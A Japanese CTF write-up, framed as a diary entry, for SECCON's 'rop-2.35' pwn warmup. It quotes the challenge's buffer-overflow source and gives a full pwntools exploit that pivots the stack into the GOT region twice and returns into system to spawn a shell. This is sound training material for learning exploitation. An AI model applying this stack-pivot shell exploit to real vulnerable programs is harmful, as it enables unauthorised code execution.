はじめに
どうも雑魚です.
今年のSECCONもwarmupだけしか解けませんでした.とても面白かったですね.
次回までに成長してもっととけるよう精進します(n回目)
そんなpwnのwarmup問rop-2.35
のwriteupをかこうと思ったのですが聞く限り僕の解法は遠回りぽい(?)のでwriteupもどきの日記として書きます.
rop-2.35
The number of ROP gadgets is declining worldwide.
配布ファイル
- chall(バイナリ)
- docker-compose.yml
- Dockerfile
- main.c
コードはこれだけでシンプルで面白い問題でした.
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
まずどう見てもバッファオーバーフローが存在します.
セキュリティ機構もほとんどありません.
僕はシンプルすぎて一見何をするのかわかりませんでした.
「問題文にropって書いてあるし典型的にlibcのgadgetとるんやろなー」
と思っていた時期もありました.
しかしやるとわかりますがlibc leakはたぶんできませんし配布ファイルにlibcもないです.
となるとchall
のsystem
とかをを利用して解くのがそれっぽいです.
gets
を呼ぶとraxには渡したバッファのアドレスが入るので,実行したいコマンド
を入力して0x401169
のsystem
の引数を設定しているとこにret2main
すれば行けそう.
という考えで書いた動かないsolver
from pwn import *
#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")
system = p64(0x401169)
payload1 = b"sh\x00"+b"a"*0x15
payload1 += system
io.sendline(payload1)
io.interactive()
さあどうでしょう.
いけませんね.これはsystem
を呼ぶとrax
がさしているスタックの値がsystem
のローカル変数によって上書きされるからです.
なので実行したいコマンド
の文字列を保存する領域と,system
を実行するときのスタックをずらさなければなりません.
それを実現するために2回ret2main
します.
一回目ではスタックを別の場所にずらし,二回目ではずらしたスタックに実行したいコマンド
を入れてからスタックをもう一度ずらしsystem
を実行します.
以下がsolverです.
from pwn import *
#io = remote("rop-2-35.seccon.games", 9999)
io = process("./chall")
# io=gdb.debug("./chall", '''
# set follow-fork-mode parent
# break main
# continue
# ''')
system = p64(0x401169)
pop_rbp = p64(0x40113d)
add_rsp = p64(0x401190)
leave = p64(0x401183)
pivot1_addr = p64(0x00404100)
pivot2_addr = p64(0x00404990)
payload1 = b"a"*0x10
payload1 += pivot1_addr # rbpにpivot1_addr (gotの領域)
payload1 += system #ここでleaveするのでrspがpivot1_addrに (rsp = rbp)
io.sendline(payload1)
payload2 = b"sh\x00aaaaa"+b"a"*0x10 # 実行したいコマンドとパディング
payload2 += pop_rbp
payload2 += pivot2_addr # rbp に pivot2_addrを(gotの領域)
payload2 += leave # rspにpivot2_addr (rsp = rbp)
payload2 += b"b"*(u64(pivot2_addr)-u64(pivot1_addr)-0x18)+system # rspが変わるのでret addrも変わるよって一回目の時点でピボットしておいてパディングでどうにかする.
io.sendline(payload2)
io.interactive()
pop rbp
のgadgetでrbp
をpivot2_addr
にしてleave
gadgetでrspをpivot2_addr
にずらしています.
それによりreturn addr
も変わるのでその分パディングを入れてからsystem
を入れてます.
ここでstack pivot
に使ったのがGOT
のとこです.checksec
でもわかるようにPartial RELRO
なので書き込めます.
心配なのは0x1000 byte以下でsystem関数のローカル変数が収まるかですがそれはヒューリスティックに運頼みです.近くの神社にでも祈りに行きましょう.(足りました☻)
さあ実行してみましょう!
SECCON{i_miss_you_libc_csu_init_:cry:}
やったね!
ワシ「libc_csu_initってなんだっけ((((ggrks1」
終
とても楽しかったです.運営ありがとうございました.
僕の環境はglibc2.37であることに最初気づいてなくてちょっとデバッグで苦労しました.
皆さんは問題鯖と自分の環境が違うときどうやってデバッグしてますか?良ければ教えてください😎.
本番中に解けた問題としてほかにrevのjumpoutがありましたがangrで一瞬だったので書きませんでした.
cryptoのwarmupは終了後にあることを知ってやったら普通に解けて悲しくなりました.()
こんな駄文読んでくれてありがとうございました.
来年こそは!成長してもっと解けるようになります!!((n回目